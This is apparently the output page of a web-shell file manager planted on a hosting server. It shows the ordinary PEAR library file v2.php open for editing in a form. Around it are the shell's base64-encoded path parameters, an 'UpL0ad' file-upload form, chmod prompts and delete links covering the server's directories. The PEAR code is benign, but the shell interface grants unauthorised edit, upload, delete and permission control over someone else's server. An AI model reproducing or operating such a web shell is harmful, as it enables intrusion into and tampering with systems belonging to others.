<hr>v2.php<form method=post action="?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg%3D%3D&f=djIucGhw"><input name="f" value="v2.php"><textarea name="t">&lt;?php
/**
 * package.xml generation class, package.xml version 2.0
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @author     Stephan Schmidt (original XML_Serializer code)
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 1.4.0a1
 */
/**
 * file/dir manipulation routines
 */
require_once 'System.php';
require_once 'XML/Util.php';

/**
 * This class converts a PEAR_PackageFile_v2 object into any output format.
 *
 * Supported output formats include array, XML string (using S. Schmidt's
 * XML_Serializer, slightly customized)
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @author     Stephan Schmidt (original XML_Serializer code)
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: 1.10.9
 * @link       http://pear.php.net/package/PEAR
 * @since      Class available since Release 1.4.0a1
 */
class PEAR_PackageFile_Generator_v2
{
   /**
    * default options for the serialization
    * @access private
    * @var array $_defaultOptions
    */
    var $_defaultOptions = array(
        'indent'             =&gt; ' ',                    // string used for indentation
        'linebreak'          =&gt; &quot;\n&quot;,                  // string used for newlines
        'typeHints'          =&gt; false,                 // automatically add type hin attributes
        'addDecl'            =&gt; true,                 // add an XML declaration
        'defaultTagName'     =&gt; 'XML_Serializer_Tag',  // tag used for indexed arrays or invalid names
        'classAsTagName'     =&gt; false,                 // use classname for objects in indexed arrays
        'keyAttribute'       =&gt; '_originalKey',        // attribute where original key is stored
        'typeAttribute'      =&gt; '_type',               // attribute for type (only if typeHints =&gt; true)
        'classAttribute'     =&gt; '_class',              // attribute for class of objects (only if typeHints =&gt; true)
        'scalarAsAttributes' =&gt; false,                 // scalar values (strings, ints,..) will be serialized as attribute
        'prependAttributes'  =&gt; '',                    // prepend string for attributes
        'indentAttributes'   =&gt; false,                 // indent the attributes, if set to '_auto', it will indent attributes so they all start at the same column
        'mode'               =&gt; 'simplexml',             // use 'simplexml' to use parent name as tagname if transforming an indexed array
        'addDoctype'         =&gt; false,                 // add a doctype declaration
        'doctype'            =&gt; null,                  // supply a string or an array with id and uri ({@see XML_Util::getDoctypeDeclaration()}
        'rootName'           =&gt; 'package',                  // name of the root tag
        'rootAttributes'     =&gt; array(
            'version' =&gt; '2.0',
            'xmlns' =&gt; 'http://pear.php.net/dtd/package-2.0',
            'xmlns:tasks' =&gt; 'http://pear.php.net/dtd/tasks-1.0',
            'xmlns:xsi' =&gt; 'http://www.w3.org/2001/XMLSchema-instance',
            'xsi:schemaLocation' =&gt; 'http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd',
        ),               // attributes of the root tag
        'attributesArray'    =&gt; 'attribs',                  // all values in this key will be treated as attributes
        'contentName'        =&gt; '_content',                   // this value will be used directly as content, instead of creating a new tag, may only be used in conjunction with attributesArray
        'beautifyFilelist'   =&gt; false,
        'encoding' =&gt; 'UTF-8',
    );

   /**
    * options for the serialization
    * @access private
    * @var array $options
    */
    var $options = array();

   /**
    * current tag depth
    * @var integer $_tagDepth
    */
    var $_tagDepth = 0;

   /**
    * serilialized representation of the data
    * @var string $_serializedData
    */
    var $_serializedData = null;
    /**
     * @var PEAR_PackageFile_v2
     */
    var $_packagefile;
    /**
     * @param PEAR_PackageFile_v2
     */
    function __construct(&amp;$packagefile)
    {
        $this-&gt;_packagefile = &amp;$packagefile;
        if (isset($this-&gt;_packagefile-&gt;encoding)) {
            $this-&gt;_defaultOptions['encoding'] = $this-&gt;_packagefile-&gt;encoding;
        }
    }

    /**
     * @return string
     */
    function getPackagerVersion()
    {
        return '1.10.9';
    }

    /**
     * @param PEAR_Packager
     * @param bool generate a .tgz or a .tar
     * @param string|null temporary directory to package in
     */
    function toTgz(&amp;$packager, $compress = true, $where = null)
    {
        $a = null;
        return $this-&gt;toTgz2($packager, $a, $compress, $where);
    }

    /**
     * Package up both a package.xml and package2.xml for the same release
     * @param PEAR_Packager
     * @param PEAR_PackageFile_v1
     * @param bool generate a .tgz or a .tar
     * @param string|null temporary directory to package in
     */
    function toTgz2(&amp;$packager, &amp;$pf1, $compress = true, $where = null)
    {
        require_once 'Archive/Tar.php';
        if (!$this-&gt;_packagefile-&gt;isEquivalent($pf1)) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toTgz: &quot;' .
                basename($pf1-&gt;getPackageFile()) .
                '&quot; is not equivalent to &quot;' . basename($this-&gt;_packagefile-&gt;getPackageFile())
                . '&quot;');
        }

        if ($where === null) {
            if (!($where = System::mktemp(array('-d')))) {
                return PEAR::raiseError('PEAR_Packagefile_v2::toTgz: mktemp failed');
            }
        } elseif (!@System::mkDir(array('-p', $where))) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toTgz: &quot;' . $where . '&quot; could' .
                ' not be created');
        }

        $file = $where . DIRECTORY_SEPARATOR . 'package.xml';
        if (file_exists($file) &amp;&amp; !is_file($file)) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toTgz: unable to save package.xml as' .
                ' &quot;' . $file  .'&quot;');
        }

        if (!$this-&gt;_packagefile-&gt;validate(PEAR_VALIDATE_PACKAGING)) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toTgz: invalid package.xml');
        }

        $ext = $compress ? '.tgz' : '.tar';
        $pkgver = $this-&gt;_packagefile-&gt;getPackage() . '-' . $this-&gt;_packagefile-&gt;getVersion();
        $dest_package = getcwd() . DIRECTORY_SEPARATOR . $pkgver . $ext;
        if (file_exists($dest_package) &amp;&amp; !is_file($dest_package)) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toTgz: cannot create tgz file &quot;' .
                $dest_package . '&quot;');
        }

        $pkgfile = $this-&gt;_packagefile-&gt;getPackageFile();
        if (!$pkgfile) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toTgz: package file object must ' .
                'be created from a real file');
        }

        $pkgdir  = dirname(realpath($pkgfile));
        $pkgfile = basename($pkgfile);

        // {{{ Create the package file list
        $filelist = array();
        $i = 0;
        $this-&gt;_packagefile-&gt;flattenFilelist();
        $contents = $this-&gt;_packagefile-&gt;getContents();
        if (isset($contents['bundledpackage'])) { // bundles of packages
            $contents = $contents['bundledpackage'];
            if (!isset($contents[0])) {
                $contents = array($contents);
            }

            $packageDir = $where;
            foreach ($contents as $i =&gt; $package) {
                $fname = $package;
                $file = $pkgdir . DIRECTORY_SEPARATOR . $fname;
                if (!file_exists($file)) {
                    return $packager-&gt;raiseError(&quot;File does not exist: $fname&quot;);
                }

                $tfile = $packageDir . DIRECTORY_SEPARATOR . $fname;
                System::mkdir(array('-p', dirname($tfile)));
                copy($file, $tfile);
                $filelist[$i++] = $tfile;
                $packager-&gt;log(2, &quot;Adding package $fname&quot;);
            }
        } else { // normal packages
            $contents = $contents['dir']['file'];
            if (!isset($contents[0])) {
                $contents = array($contents);
            }

            $packageDir = $where;
            foreach ($contents as $i =&gt; $file) {
                $fname = $file['attribs']['name'];
                $atts = $file['attribs'];
                $orig = $file;
                $file = $pkgdir . DIRECTORY_SEPARATOR . $fname;
                if (!file_exists($file)) {
                    return $packager-&gt;raiseError(&quot;File does not exist: $fname&quot;);
                }

                $origperms = fileperms($file);
                $tfile = $packageDir . DIRECTORY_SEPARATOR . $fname;
                unset($orig['attribs']);
                if (count($orig)) { // file with tasks
                    // run any package-time tasks
                    $contents = file_get_contents($file);
                    foreach ($orig as $tag =&gt; $raw) {
                        $tag = str_replace(
                            array($this-&gt;_packagefile-&gt;getTasksNs() . ':', '-'),
                            array('', '_'), $tag);
                        $task = &quot;PEAR_Task_$tag&quot;;
                        $task = new $task($this-&gt;_packagefile-&gt;_config,
                            $this-&gt;_packagefile-&gt;_logger,
                            PEAR_TASK_PACKAGE);
                        $task-&gt;init($raw, $atts, null);
                        $res = $task-&gt;startSession($this-&gt;_packagefile, $contents, $tfile);
                        if (!$res) {
                            continue; // skip this task
                        }

                        if (PEAR::isError($res)) {
                            return $res;
                        }

                        $contents = $res; // save changes
                        System::mkdir(array('-p', dirname($tfile)));
                        $wp = fopen($tfile, &quot;wb&quot;);
                        fwrite($wp, $contents);
                        fclose($wp);
                    }
                }

                if (!file_exists($tfile)) {
                    System::mkdir(array('-p', dirname($tfile)));
                    copy($file, $tfile);
                }

                chmod($tfile, $origperms);
                $filelist[$i++] = $tfile;
                $this-&gt;_packagefile-&gt;setFileAttribute($fname, 'md5sum', md5_file($tfile), $i - 1);
                $packager-&gt;log(2, &quot;Adding file $fname&quot;);
            }
        }
            // }}}

        $name       = $pf1 !== null ? 'package2.xml' : 'package.xml';
        $packagexml = $this-&gt;toPackageFile($where, PEAR_VALIDATE_PACKAGING, $name);
        if ($packagexml) {
            $tar = new Archive_Tar($dest_package, $compress);
            $tar-&gt;setErrorHandling(PEAR_ERROR_RETURN); // XXX Don't print errors
            // ----- Creates with the package.xml file
            $ok = $tar-&gt;createModify(array($packagexml), '', $where);
            if (PEAR::isError($ok)) {
                return $packager-&gt;raiseError($ok);
            } elseif (!$ok) {
                return $packager-&gt;raiseError('PEAR_Packagefile_v2::toTgz(): adding ' . $name .
                    ' failed');
            }

            // ----- Add the content of the package
            if (!$tar-&gt;addModify($filelist, $pkgver, $where)) {
                return $packager-&gt;raiseError(
                    'PEAR_Packagefile_v2::toTgz(): tarball creation failed');
            }

            // add the package.xml version 1.0
            if ($pf1 !== null) {
                $pfgen = &amp;$pf1-&gt;getDefaultGenerator();
                $packagexml1 = $pfgen-&gt;toPackageFile($where, PEAR_VALIDATE_PACKAGING, 'package.xml', true);
                if (!$tar-&gt;addModify(array($packagexml1), '', $where)) {
                    return $packager-&gt;raiseError(
                        'PEAR_Packagefile_v2::toTgz(): adding package.xml failed');
                }
            }

            return $dest_package;
        }
    }

    function toPackageFile($where = null, $state = PEAR_VALIDATE_NORMAL, $name = 'package.xml')
    {
        if (!$this-&gt;_packagefile-&gt;validate($state)) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toPackageFile: invalid package.xml',
                null, null, null, $this-&gt;_packagefile-&gt;getValidationWarnings());
        }

        if ($where === null) {
            if (!($where = System::mktemp(array('-d')))) {
                return PEAR::raiseError('PEAR_Packagefile_v2::toPackageFile: mktemp failed');
            }
        } elseif (!@System::mkDir(array('-p', $where))) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toPackageFile: &quot;' . $where . '&quot; could' .
                ' not be created');
        }

        $newpkgfile = $where . DIRECTORY_SEPARATOR . $name;
        $np = @fopen($newpkgfile, 'wb');
        if (!$np) {
            return PEAR::raiseError('PEAR_Packagefile_v2::toPackageFile: unable to save ' .
               &quot;$name as $newpkgfile&quot;);
        }
        fwrite($np, $this-&gt;toXml($state));
        fclose($np);
        return $newpkgfile;
    }

    function &amp;toV2()
    {
        return $this-&gt;_packagefile;
    }

    /**
     * Return an XML document based on the package info (as returned
     * by the PEAR_Common::infoFrom* methods).
     *
     * @return string XML data
     */
    function toXml($state = PEAR_VALIDATE_NORMAL, $options = array())
    {
        $this-&gt;_packagefile-&gt;setDate(date('Y-m-d'));
        $this-&gt;_packagefile-&gt;setTime(date('H:i:s'));
        if (!$this-&gt;_packagefile-&gt;validate($state)) {
            return false;
        }

        if (is_array($options)) {
            $this-&gt;options = array_merge($this-&gt;_defaultOptions, $options);
        } else {
            $this-&gt;options = $this-&gt;_defaultOptions;
        }

        $arr = $this-&gt;_packagefile-&gt;getArray();
        if (isset($arr['filelist'])) {
            unset($arr['filelist']);
        }

        if (isset($arr['_lastversion'])) {
            unset($arr['_lastversion']);
        }

        // Fix the notes a little bit
        if (isset($arr['notes'])) {
            // This trims out the indenting, needs fixing
            $arr['notes'] = &quot;\n&quot; . trim($arr['notes']) . &quot;\n&quot;;
        }

        if (isset($arr['changelog']) &amp;&amp; !empty($arr['changelog'])) {
            // Fix for inconsistency how the array is filled depending on the changelog release amount
            if (!isset($arr['changelog']['release'][0])) {
                $release = $arr['changelog']['release'];
                unset($arr['changelog']['release']);

                $arr['changelog']['release']    = array();
                $arr['changelog']['release'][0] = $release;
            }

            foreach (array_keys($arr['changelog']['release']) as $key) {
                $c =&amp; $arr['changelog']['release'][$key];
                if (isset($c['notes'])) {
                    // This trims out the indenting, needs fixing
                    $c['notes'] = &quot;\n&quot; . trim($c['notes']) . &quot;\n&quot;;
                }
            }
        }

        if ($state ^ PEAR_VALIDATE_PACKAGING &amp;&amp; !isset($arr['bundle'])) {
            $use = $this-&gt;_recursiveXmlFilelist($arr['contents']['dir']['file']);
            unset($arr['contents']['dir']['file']);
            if (isset($use['dir'])) {
                $arr['contents']['dir']['dir'] = $use['dir'];
            }
            if (isset($use['file'])) {
                $arr['contents']['dir']['file'] = $use['file'];
            }
            $this-&gt;options['beautifyFilelist'] = true;
        }

        $arr['attribs']['packagerversion'] = '1.10.9';
        if ($this-&gt;serialize($arr, $options)) {
            return $this-&gt;_serializedData . &quot;\n&quot;;
        }

        return false;
    }


    function _recursiveXmlFilelist($list)
    {
        $dirs = array();
        if (isset($list['attribs'])) {
            $file = $list['attribs']['name'];
            unset($list['attribs']['name']);
            $attributes = $list['attribs'];
            $this-&gt;_addDir($dirs, explode('/', dirname($file)), $file, $attributes);
        } else {
            foreach ($list as $a) {
                $file = $a['attribs']['name'];
                $attributes = $a['attribs'];
                unset($a['attribs']);
                $this-&gt;_addDir($dirs, explode('/', dirname($file)), $file, $attributes, $a);
            }
        }
        $this-&gt;_formatDir($dirs);
        $this-&gt;_deFormat($dirs);
        return $dirs;
    }

    function _addDir(&amp;$dirs, $dir, $file = null, $attributes = null, $tasks = null)
    {
        if (!$tasks) {
            $tasks = array();
        }
        if ($dir == array() || $dir == array('.')) {
            $dirs['file'][basename($file)] = $tasks;
            $attributes['name'] = basename($file);
            $dirs['file'][basename($file)]['attribs'] = $attributes;
            return;
        }
        $curdir = array_shift($dir);
        if (!isset($dirs['dir'][$curdir])) {
            $dirs['dir'][$curdir] = array();
        }
        $this-&gt;_addDir($dirs['dir'][$curdir], $dir, $file, $attributes, $tasks);
    }

    function _formatDir(&amp;$dirs)
    {
        if (!count($dirs)) {
            return array();
        }
        $newdirs = array();
        if (isset($dirs['dir'])) {
            $newdirs['dir'] = $dirs['dir'];
        }
        if (isset($dirs['file'])) {
            $newdirs['file'] = $dirs['file'];
        }
        $dirs = $newdirs;
        if (isset($dirs['dir'])) {
            uksort($dirs['dir'], 'strnatcasecmp');
            foreach ($dirs['dir'] as $dir =&gt; $contents) {
                $this-&gt;_formatDir($dirs['dir'][$dir]);
            }
        }
        if (isset($dirs['file'])) {
            uksort($dirs['file'], 'strnatcasecmp');
        };
    }

    function _deFormat(&amp;$dirs)
    {
        if (!count($dirs)) {
            return array();
        }
        $newdirs = array();
        if (isset($dirs['dir'])) {
            foreach ($dirs['dir'] as $dir =&gt; $contents) {
                $newdir = array();
                $newdir['attribs']['name'] = $dir;
                $this-&gt;_deFormat($contents);
                foreach ($contents as $tag =&gt; $val) {
                    $newdir[$tag] = $val;
                }
                $newdirs['dir'][] = $newdir;
            }
            if (count($newdirs['dir']) == 1) {
                $newdirs['dir'] = $newdirs['dir'][0];
            }
        }
        if (isset($dirs['file'])) {
            foreach ($dirs['file'] as $name =&gt; $file) {
                $newdirs['file'][] = $file;
            }
            if (count($newdirs['file']) == 1) {
                $newdirs['file'] = $newdirs['file'][0];
            }
        }
        $dirs = $newdirs;
    }

    /**
    * reset all options to default options
    *
    * @access   public
    * @see      setOption(), XML_Unserializer()
    */
    function resetOptions()
    {
        $this-&gt;options = $this-&gt;_defaultOptions;
    }

   /**
    * set an option
    *
    * You can use this method if you do not want to set all options in the constructor
    *
    * @access   public
    * @see      resetOption(), XML_Serializer()
    */
    function setOption($name, $value)
    {
        $this-&gt;options[$name] = $value;
    }

   /**
    * sets several options at once
    *
    * You can use this method if you do not want to set all options in the constructor
    *
    * @access   public
    * @see      resetOption(), XML_Unserializer(), setOption()
    */
    function setOptions($options)
    {
        $this-&gt;options = array_merge($this-&gt;options, $options);
    }

   /**
    * serialize data
    *
    * @access   public
    * @param    mixed    $data data to serialize
    * @return   boolean  true on success, pear error on failure
    */
    function serialize($data, $options = null)
    {
        // if options have been specified, use them instead
        // of the previously defined ones
        if (is_array($options)) {
            $optionsBak = $this-&gt;options;
            if (isset($options['overrideOptions']) &amp;&amp; $options['overrideOptions'] == true) {
                $this-&gt;options = array_merge($this-&gt;_defaultOptions, $options);
            } else {
                $this-&gt;options = array_merge($this-&gt;options, $options);
            }
        } else {
            $optionsBak = null;
        }

        //  start depth is zero
        $this-&gt;_tagDepth = 0;
        $this-&gt;_serializedData = '';
        // serialize an array
        if (is_array($data)) {
            $tagName = isset($this-&gt;options['rootName']) ? $this-&gt;options['rootName'] : 'array';
            $this-&gt;_serializedData .= $this-&gt;_serializeArray($data, $tagName, $this-&gt;options['rootAttributes']);
        }

        // add doctype declaration
        if ($this-&gt;options['addDoctype'] === true) {
            $this-&gt;_serializedData = XML_Util::getDoctypeDeclaration($tagName, $this-&gt;options['doctype'])
                                   . $this-&gt;options['linebreak']
                                   . $this-&gt;_serializedData;
        }

        //  build xml declaration
        if ($this-&gt;options['addDecl']) {
            $atts = array();
            $encoding = isset($this-&gt;options['encoding']) ? $this-&gt;options['encoding'] : null;
            $this-&gt;_serializedData = XML_Util::getXMLDeclaration('1.0', $encoding)
                                   . $this-&gt;options['linebreak']
                                   . $this-&gt;_serializedData;
        }


        if ($optionsBak !== null) {
            $this-&gt;options = $optionsBak;
        }

        return  true;
    }

   /**
    * get the result of the serialization
    *
    * @access public
    * @return string serialized XML
    */
    function getSerializedData()
    {
        if ($this-&gt;_serializedData === null) {
            return  $this-&gt;raiseError('No serialized data available. Use XML_Serializer::serialize() first.', XML_SERIALIZER_ERROR_NO_SERIALIZATION);
        }
        return $this-&gt;_serializedData;
    }

   /**
    * serialize any value
    *
    * This method checks for the type of the value and calls the appropriate method
    *
    * @access private
    * @param  mixed     $value
    * @param  string    $tagName
    * @param  array     $attributes
    * @return string
    */
    function _serializeValue($value, $tagName = null, $attributes = array())
    {
        if (is_array($value)) {
            $xml = $this-&gt;_serializeArray($value, $tagName, $attributes);
        } elseif (is_object($value)) {
            $xml = $this-&gt;_serializeObject($value, $tagName);
        } else {
            $tag = array(
                          'qname'      =&gt; $tagName,
                          'attributes' =&gt; $attributes,
                          'content'    =&gt; $value
                        );
            $xml = $this-&gt;_createXMLTag($tag);
        }
        return $xml;
    }

   /**
    * serialize an array
    *
    * @access   private
    * @param    array   $array       array to serialize
    * @param    string  $tagName     name of the root tag
    * @param    array   $attributes  attributes for the root tag
    * @return   string  $string      serialized data
    * @uses     XML_Util::isValidName() to check, whether key has to be substituted
    */
    function _serializeArray(&amp;$array, $tagName = null, $attributes = array())
    {
        $_content = null;

        /**
         * check for special attributes
         */
        if ($this-&gt;options['attributesArray'] !== null) {
            if (isset($array[$this-&gt;options['attributesArray']])) {
                $attributes = $array[$this-&gt;options['attributesArray']];
                unset($array[$this-&gt;options['attributesArray']]);
            }
            /**
             * check for special content
             */
            if ($this-&gt;options['contentName'] !== null) {
                if (isset($array[$this-&gt;options['contentName']])) {
                    $_content = $array[$this-&gt;options['contentName']];
                    unset($array[$this-&gt;options['contentName']]);
                }
            }
        }

        /*
        * if mode is set to simpleXML, check whether
        * the array is associative or indexed
        */
        if (is_array($array) &amp;&amp; $this-&gt;options['mode'] == 'simplexml') {
            $indexed = true;
            if (!count($array)) {
                $indexed = false;
            }
            foreach ($array as $key =&gt; $val) {
                if (!is_int($key)) {
                    $indexed = false;
                    break;
                }
            }

            if ($indexed &amp;&amp; $this-&gt;options['mode'] == 'simplexml') {
                $string = '';
                foreach ($array as $key =&gt; $val) {
                    if ($this-&gt;options['beautifyFilelist'] &amp;&amp; $tagName == 'dir') {
                        if (!isset($this-&gt;_curdir)) {
                            $this-&gt;_curdir = '';
                        }
                        $savedir = $this-&gt;_curdir;
                        if (isset($val['attribs'])) {
                            if ($val['attribs']['name'] == '/') {
                                $this-&gt;_curdir = '/';
                            } else {
                                if ($this-&gt;_curdir == '/') {
                                    $this-&gt;_curdir = '';
                                }
                                $this-&gt;_curdir .= '/' . $val['attribs']['name'];
                            }
                        }
                    }
                    $string .= $this-&gt;_serializeValue( $val, $tagName, $attributes);
                    if ($this-&gt;options['beautifyFilelist'] &amp;&amp; $tagName == 'dir') {
                        $string .= ' &lt;!-- ' . $this-&gt;_curdir . ' --&gt;';
                        if (empty($savedir)) {
                            unset($this-&gt;_curdir);
                        } else {
                            $this-&gt;_curdir = $savedir;
                        }
                    }

                    $string .= $this-&gt;options['linebreak'];
                    // do indentation
                    if ($this-&gt;options['indent'] !== null &amp;&amp; $this-&gt;_tagDepth &gt; 0) {
                        $string .= str_repeat($this-&gt;options['indent'], $this-&gt;_tagDepth);
                    }
                }
                return rtrim($string);
            }
        }

        if ($this-&gt;options['scalarAsAttributes'] === true) {
            foreach ($array as $key =&gt; $value) {
                if (is_scalar($value) &amp;&amp; (XML_Util::isValidName($key) === true)) {
                    unset($array[$key]);
                    $attributes[$this-&gt;options['prependAttributes'].$key] = $value;
                }
            }
        }

        // check for empty array =&gt; create empty tag
        if (empty($array)) {
            $tag = array(
                            'qname'      =&gt; $tagName,
                            'content'    =&gt; $_content,
                            'attributes' =&gt; $attributes
                        );

        } else {
            $this-&gt;_tagDepth++;
            $tmp = $this-&gt;options['linebreak'];
            foreach ($array as $key =&gt; $value) {
                // do indentation
                if ($this-&gt;options['indent'] !== null &amp;&amp; $this-&gt;_tagDepth &gt; 0) {
                    $tmp .= str_repeat($this-&gt;options['indent'], $this-&gt;_tagDepth);
                }

                // copy key
                $origKey = $key;
                // key cannot be used as tagname =&gt; use default tag
                $valid = XML_Util::isValidName($key);
                if (PEAR::isError($valid)) {
                    if ($this-&gt;options['classAsTagName'] &amp;&amp; is_object($value)) {
                        $key = get_class($value);
                    } else {
                        $key = $this-&gt;options['defaultTagName'];
                    }
                }
                $atts = array();
                if ($this-&gt;options['typeHints'] === true) {
                    $atts[$this-&gt;options['typeAttribute']] = gettype($value);
                    if ($key !== $origKey) {
                        $atts[$this-&gt;options['keyAttribute']] = (string)$origKey;
                    }

                }
                if ($this-&gt;options['beautifyFilelist'] &amp;&amp; $key == 'dir') {
                    if (!isset($this-&gt;_curdir)) {
                        $this-&gt;_curdir = '';
                    }
                    $savedir = $this-&gt;_curdir;
                    if (isset($value['attribs'])) {
                        if ($value['attribs']['name'] == '/') {
                            $this-&gt;_curdir = '/';
                        } else {
                            $this-&gt;_curdir .= '/' . $value['attribs']['name'];
                        }
                    }
                }

                if (is_string($value) &amp;&amp; $value &amp;&amp; ($value{strlen($value) - 1} == &quot;\n&quot;)) {
                    $value .= str_repeat($this-&gt;options['indent'], $this-&gt;_tagDepth);
                }
                $tmp .= $this-&gt;_createXMLTag(array(
                                                    'qname'      =&gt; $key,
                                                    'attributes' =&gt; $atts,
                                                    'content'    =&gt; $value )
                                            );
                if ($this-&gt;options['beautifyFilelist'] &amp;&amp; $key == 'dir') {
                    if (isset($value['attribs'])) {
                        $tmp .= ' &lt;!-- ' . $this-&gt;_curdir . ' --&gt;';
                        if (empty($savedir)) {
                            unset($this-&gt;_curdir);
                        } else {
                            $this-&gt;_curdir = $savedir;
                        }
                    }
                }
                $tmp .= $this-&gt;options['linebreak'];
            }

            $this-&gt;_tagDepth--;
            if ($this-&gt;options['indent']!==null &amp;&amp; $this-&gt;_tagDepth&gt;0) {
                $tmp .= str_repeat($this-&gt;options['indent'], $this-&gt;_tagDepth);
            }

            if (trim($tmp) === '') {
                $tmp = null;
            }

            $tag = array(
                'qname'      =&gt; $tagName,
                'content'    =&gt; $tmp,
                'attributes' =&gt; $attributes
            );
        }
        if ($this-&gt;options['typeHints'] === true) {
            if (!isset($tag['attributes'][$this-&gt;options['typeAttribute']])) {
                $tag['attributes'][$this-&gt;options['typeAttribute']] = 'array';
            }
        }

        $string = $this-&gt;_createXMLTag($tag, false);
        return $string;
    }

   /**
    * create a tag from an array
    * this method awaits an array in the following format
    * array(
    *       'qname'        =&gt; $tagName,
    *       'attributes'   =&gt; array(),
    *       'content'      =&gt; $content,      // optional
    *       'namespace'    =&gt; $namespace     // optional
    *       'namespaceUri' =&gt; $namespaceUri  // optional
    *   )
    *
    * @access   private
    * @param    array   $tag tag definition
    * @param    boolean $replaceEntities whether to replace XML entities in content or not
    * @return   string  $string XML tag
    */
    function _createXMLTag($tag, $replaceEntities = true)
    {
        if ($this-&gt;options['indentAttributes'] !== false) {
            $multiline = true;
            $indent    = str_repeat($this-&gt;options['indent'], $this-&gt;_tagDepth);

            if ($this-&gt;options['indentAttributes'] == '_auto') {
                $indent .= str_repeat(' ', (strlen($tag['qname'])+2));

            } else {
                $indent .= $this-&gt;options['indentAttributes'];
            }
        } else {
            $indent = $multiline = false;
        }

        if (is_array($tag['content'])) {
            if (empty($tag['content'])) {
                $tag['content'] = '';
            }
        } elseif(is_scalar($tag['content']) &amp;&amp; (string)$tag['content'] == '') {
            $tag['content'] = '';
        }

        if (is_scalar($tag['content']) || is_null($tag['content'])) {
            if ($replaceEntities === true) {
                $replaceEntities = XML_UTIL_ENTITIES_XML;
            }

            $tag = XML_Util::createTagFromArray($tag, $replaceEntities, $multiline, $indent, $this-&gt;options['linebreak']);
        } elseif (is_array($tag['content'])) {
            $tag = $this-&gt;_serializeArray($tag['content'], $tag['qname'], $tag['attributes']);
        } elseif (is_object($tag['content'])) {
            $tag = $this-&gt;_serializeObject($tag['content'], $tag['qname'], $tag['attributes']);
        } elseif (is_resource($tag['content'])) {
            settype($tag['content'], 'string');
            $tag = XML_Util::createTagFromArray($tag, $replaceEntities);
        }
        return  $tag;
    }
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvNDY5ZWQyZjYtNGQ0Yi00YThhLTlmNWUtZWU0ZWYwNGQzYmM4L3B1YmxpY19odG1s">/var/www/469ed2f6-4d4b-4a8a-9f5e-ee4ef04d3bc8/public_html</a><hr>curdir: /opt/ecp-php71/lib/php/PEAR/PackageFile/Generator<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&x=djEucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djEucGhw"/>v1.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djEucGhw&c=`+btoa(c):0" value="0644"></td><td>50350</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&x=djIucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djIucGhw"/>v2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzEvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djIucGhw&c=`+btoa(c):0" value="0644"></td><td>33222</td></tr></table>